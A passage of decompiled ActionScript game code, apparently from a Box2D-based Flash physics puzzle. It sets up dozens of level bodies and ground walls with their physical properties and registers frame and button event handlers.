dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 12;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 12;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 12;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 12;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame38(){
cel = 4;
kol_cel = cel;
kol_hero = 10;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 58;
pos_hero_y = 136;
i = 1;
while (i <= 43) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 18;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
i = 1;
while (i <= 9) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 10;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 10;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 1;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 1;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 1;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
dim21_def = new b2BodyDef();
dim21_sh = new b2PolygonDef();
dim21_def.position.Set((dim21_cl.x / 30), (dim21_cl.y / 30));
dim21_sh.SetAsBox(((dim21_cl.width / 2) / 30), ((dim21_cl.height / 2) / 30));
dim21_def.userData = dim21_cl;
dim21_sh.density = 1;
dim21_sh.friction = 1;
dim21_sh.restitution = 0.1;
dim21 = world.CreateBody(dim21_def);
dim21.CreateShape(dim21_sh);
dim21.SetMassFromShapes();
dim22_def = new b2BodyDef();
dim22_sh = new b2PolygonDef();
dim22_def.position.Set((dim22_cl.x / 30), (dim22_cl.y / 30));
dim22_sh.SetAsBox(((dim22_cl.width / 2) / 30), ((dim22_cl.height / 2) / 30));
dim22_def.userData = dim22_cl;
dim22_sh.density = 1;
dim22_sh.friction = 1;
dim22_sh.restitution = 0.1;
dim22 = world.CreateBody(dim22_def);
dim22.CreateShape(dim22_sh);
dim22.SetMassFromShapes();
dim23_def = new b2BodyDef();
dim23_sh = new b2PolygonDef();
dim23_def.position.Set((dim23_cl.x / 30), (dim23_cl.y / 30));
dim23_sh.SetAsBox(((dim23_cl.width / 2) / 30), ((dim23_cl.height / 2) / 30));
dim23_def.userData = dim23_cl;
dim23_sh.density = 1;
dim23_sh.friction = 1;
dim23_sh.restitution = 0.1;
dim23 = world.CreateBody(dim23_def);
dim23.CreateShape(dim23_sh);
dim23.SetMassFromShapes();
dim24_def = new b2BodyDef();
dim24_sh = new b2PolygonDef();
dim24_def.position.Set((dim24_cl.x / 30), (dim24_cl.y / 30));
dim24_sh.SetAsBox(((dim24_cl.width / 2) / 30), ((dim24_cl.height / 2) / 30));
dim24_def.userData = dim24_cl;
dim24_sh.density = 1;
dim24_sh.friction = 1;
dim24_sh.restitution = 0.1;
dim24 = world.CreateBody(dim24_def);
dim24.CreateShape(dim24_sh);
dim24.SetMassFromShapes();
dim25_def = new b2BodyDef();
dim25_sh = new b2PolygonDef();
dim25_def.position.Set((dim25_cl.x / 30), (dim25_cl.y / 30));
dim25_sh.SetAsBox(((dim25_cl.width / 2) / 30), ((dim25_cl.height / 2) / 30));
dim25_def.userData = dim25_cl;
dim25_sh.density = 1;
dim25_sh.friction = 1;
dim25_sh.restitution = 0.1;
dim25 = world.CreateBody(dim25_def);
dim25.CreateShape(dim25_sh);
dim25.SetMassFromShapes();
dim26_def = new b2BodyDef();
dim26_sh = new b2PolygonDef();
dim26_def.position.Set((dim26_cl.x / 30), (dim26_cl.y / 30));
dim26_sh.SetAsBox(((dim26_cl.width / 2) / 30), ((dim26_cl.height / 2) / 30));
dim26_def.userData = dim26_cl;
dim26_sh.density = 1;
dim26_sh.friction = 1;
dim26_sh.restitution = 0.1;
dim26 = world.CreateBody(dim26_def);
dim26.CreateShape(dim26_sh);
dim26.SetMassFromShapes();
dim27_def = new b2BodyDef();
dim27_sh = new b2PolygonDef();
dim27_def.position.Set((dim27_cl.x / 30), (dim27_cl.y / 30));
dim27_sh.SetAsBox(((dim27_cl.width / 2) / 30), ((dim27_cl.height / 2) / 30));
dim27_def.userData = dim27_cl;
dim27_sh.density = 1;
dim27_sh.friction = 1;
dim27_sh.restitution = 0.1;
dim27 = world.CreateBody(dim27_def);
dim27.CreateShape(dim27_sh);
dim27.SetMassFromShapes();
dim28_def = new b2BodyDef();
dim28_sh = new b2PolygonDef();
dim28_def.position.Set((dim28_cl.x / 30), (dim28_cl.y / 30));
dim28_sh.SetAsBox(((dim28_cl.width / 2) / 30), ((dim28_cl.height / 2) / 30));
dim28_def.userData = dim28_cl;
dim28_sh.density = 1;
dim28_sh.friction = 1;
dim28_sh.restitution = 0.1;
dim28 = world.CreateBody(dim28_def);
dim28.CreateShape(dim28_sh);
dim28.SetMassFromShapes();
dim29_def = new b2BodyDef();
dim29_sh = new b2PolygonDef();
dim29_def.position.Set((dim29_cl.x / 30), (dim29_cl.y / 30));
dim29_sh.SetAsBox(((dim29_cl.width / 2) / 30), ((dim29_cl.height / 2) / 30));
dim29_def.userData = dim29_cl;
dim29_sh.density = 1;
dim29_sh.friction = 1;
dim29_sh.restitution = 0.1;
dim29 = world.CreateBody(dim29_def);
dim29.CreateShape(dim29_sh);
dim29.SetMassFromShapes();
dim30_def = new b2BodyDef();
dim30_sh = new b2PolygonDef();
dim30_def.position.Set((dim30_cl.x / 30), (dim30_cl.y / 30));
dim30_sh.SetAsBox(((dim30_cl.width / 2) / 30), ((dim30_cl.height / 2) / 30));
dim30_def.userData = dim30_cl;
dim30_sh.density = 1;
dim30_sh.friction = 1;
dim30_sh.restitution = 0.1;
dim30 = world.CreateBody(dim30_def);
dim30.CreateShape(dim30_sh);
dim30.SetMassFromShapes();
dim31_def = new b2BodyDef();
dim31_sh = new b2PolygonDef();
dim31_def.position.Set((dim31_cl.x / 30), (dim31_cl.y / 30));
dim31_sh.SetAsBox(((dim31_cl.width / 2) / 30), ((dim31_cl.height / 2) / 30));
dim31_def.userData = dim31_cl;
dim31_sh.density = 12;
dim31_sh.friction = 1;
dim31_sh.restitution = 0.1;
dim31 = world.CreateBody(dim31_def);
dim31.CreateShape(dim31_sh);
dim31.SetMassFromShapes();
dim32_def = new b2BodyDef();
dim32_sh = new b2PolygonDef();
dim32_def.position.Set((dim32_cl.x / 30), (dim32_cl.y / 30));
dim32_sh.SetAsBox(((dim32_cl.width / 2) / 30), ((dim32_cl.height / 2) / 30));
dim32_def.userData = dim32_cl;
dim32_sh.density = 1;
dim32_sh.friction = 1;
dim32_sh.restitution = 0.1;
dim32 = world.CreateBody(dim32_def);
dim32.CreateShape(dim32_sh);
dim32.SetMassFromShapes();
dim33_def = new b2BodyDef();
dim33_sh = new b2PolygonDef();
dim33_def.position.Set((dim33_cl.x / 30), (dim33_cl.y / 30));
dim33_sh.SetAsBox(((dim33_cl.width / 2) / 30), ((dim33_cl.height / 2) / 30));
dim33_def.userData = dim33_cl;
dim33_sh.density = 1;
dim33_sh.friction = 1;
dim33_sh.restitution = 0.1;
dim33 = world.CreateBody(dim33_def);
dim33.CreateShape(dim33_sh);
dim33.SetMassFromShapes();
dim34_def = new b2BodyDef();
dim34_sh = new b2PolygonDef();
dim34_def.position.Set((dim34_cl.x / 30), (dim34_cl.y / 30));
dim34_sh.SetAsBox(((dim34_cl.width / 2) / 30), ((dim34_cl.height / 2) / 30));
dim34_def.userData = dim34_cl;
dim34_sh.density = 1;
dim34_sh.friction = 1;
dim34_sh.restitution = 0.1;
dim34 = world.CreateBody(dim34_def);
dim34.CreateShape(dim34_sh);
dim34.SetMassFromShapes();
dim35_def = new b2BodyDef();
dim35_sh = new b2PolygonDef();
dim35_def.position.Set((dim35_cl.x / 30), (dim35_cl.y / 30));
dim35_sh.SetAsBox(((dim35_cl.width / 2) / 30), ((dim35_cl.height / 2) / 30));
dim35_def.userData = dim35_cl;
dim35_sh.density = 1;
dim35_sh.friction = 1;
dim35_sh.restitution = 0.1;
dim35 = world.CreateBody(dim35_def);
dim35.CreateShape(dim35_sh);
dim35.SetMassFromShapes();
dim36_def = new b2BodyDef();
dim36_sh = new b2PolygonDef();
dim36_def.position.Set((dim36_cl.x / 30), (dim36_cl.y / 30));
dim36_sh.SetAsBox(((dim36_cl.width / 2) / 30), ((dim36_cl.height / 2) / 30));
dim36_def.userData = dim36_cl;
dim36_sh.density = 10;
dim36_sh.friction = 1;
dim36_sh.restitution = 0.1;
dim36 = world.CreateBody(dim36_def);
dim36.CreateShape(dim36_sh);
dim36.SetMassFromShapes();
dim37_def = new b2BodyDef();
dim37_sh = new b2PolygonDef();
dim37_def.position.Set((dim37_cl.x / 30), (dim37_cl.y / 30));
dim37_sh.SetAsBox(((dim37_cl.width / 2) / 30), ((dim37_cl.height / 2) / 30));
dim37_def.userData = dim37_cl;
dim37_sh.density = 10;
dim37_sh.friction = 1;
dim37_sh.restitution = 0.1;
dim37 = world.CreateBody(dim37_def);
dim37.CreateShape(dim37_sh);
dim37.SetMassFromShapes();
dim38_def = new b2BodyDef();
dim38_sh = new b2PolygonDef();
dim38_def.position.Set((dim38_cl.x / 30), (dim38_cl.y / 30));
dim38_sh.SetAsBox(((dim38_cl.width / 2) / 30), ((dim38_cl.height / 2) / 30));
dim38_def.userData = dim38_cl;
dim38_sh.density = 10;
dim38_sh.friction = 1;
dim38_sh.restitution = 0.1;
dim38 = world.CreateBody(dim38_def);
dim38.CreateShape(dim38_sh);
dim38.SetMassFromShapes();
dim39_def = new b2BodyDef();
dim39_sh = new b2PolygonDef();
dim39_def.position.Set((dim39_cl.x / 30), (dim39_cl.y / 30));
dim39_sh.SetAsBox(((dim39_cl.width / 2) / 30), ((dim39_cl.height / 2) / 30));
dim39_def.userData = dim39_cl;
dim39_sh.density = 10;
dim39_sh.friction = 1;
dim39_sh.restitution = 0.1;
dim39 = world.CreateBody(dim39_def);
dim39.CreateShape(dim39_sh);
dim39.SetMassFromShapes();
dim40_def = new b2BodyDef();
dim40_sh = new b2PolygonDef();
dim40_def.position.Set((dim40_cl.x / 30), (dim40_cl.y / 30));
dim40_sh.SetAsBox(((dim40_cl.width / 2) / 30), ((dim40_cl.height / 2) / 30));
dim40_def.userData = dim40_cl;
dim40_sh.density = 10;
dim40_sh.friction = 1;
dim40_sh.restitution = 0.1;
dim40 = world.CreateBody(dim40_def);
dim40.CreateShape(dim40_sh);
dim40.SetMassFromShapes();
dim41_def = new b2BodyDef();
dim41_sh = new b2PolygonDef();
dim41_def.position.Set((dim41_cl.x / 30), (dim41_cl.y / 30));
dim41_sh.SetAsBox(((dim41_cl.width / 2) / 30), ((dim41_cl.height / 2) / 30));
dim41_def.userData = dim41_cl;
dim41_sh.density = 10;
dim41_sh.friction = 1;
dim41_sh.restitution = 0.1;
dim41 = world.CreateBody(dim41_def);
dim41.CreateShape(dim41_sh);
dim41.SetMassFromShapes();
dim42_def = new b2BodyDef();
dim42_sh = new b2PolygonDef();
dim42_def.position.Set((dim42_cl.x / 30), (dim42_cl.y / 30));
dim42_sh.SetAsBox(((dim42_cl.width / 2) / 30), ((dim42_cl.height / 2) / 30));
dim42_def.userData = dim42_cl;
dim42_sh.density = 10;
dim42_sh.friction = 1;
dim42_sh.restitution = 0.1;
dim42 = world.CreateBody(dim42_def);
dim42.CreateShape(dim42_sh);
dim42.SetMassFromShapes();
dim43_def = new b2BodyDef();
dim43_sh = new b2PolygonDef();
dim43_def.position.Set((dim43_cl.x / 30), (dim43_cl.y / 30));
dim43_sh.SetAsBox(((dim43_cl.width / 2) / 30), ((dim43_cl.height / 2) / 30));
dim43_def.userData = dim43_cl;
dim43_sh.density = 10;
dim43_sh.friction = 1;
dim43_sh.restitution = 0.1;
dim43 = world.CreateBody(dim43_def);
dim43.CreateShape(dim43_sh);
dim43.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame34(){
cel = 4;
kol_cel = cel;
kol_hero = 12;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 647;
pos_hero_y = 200;
i = 1;
while (i <= 20) {
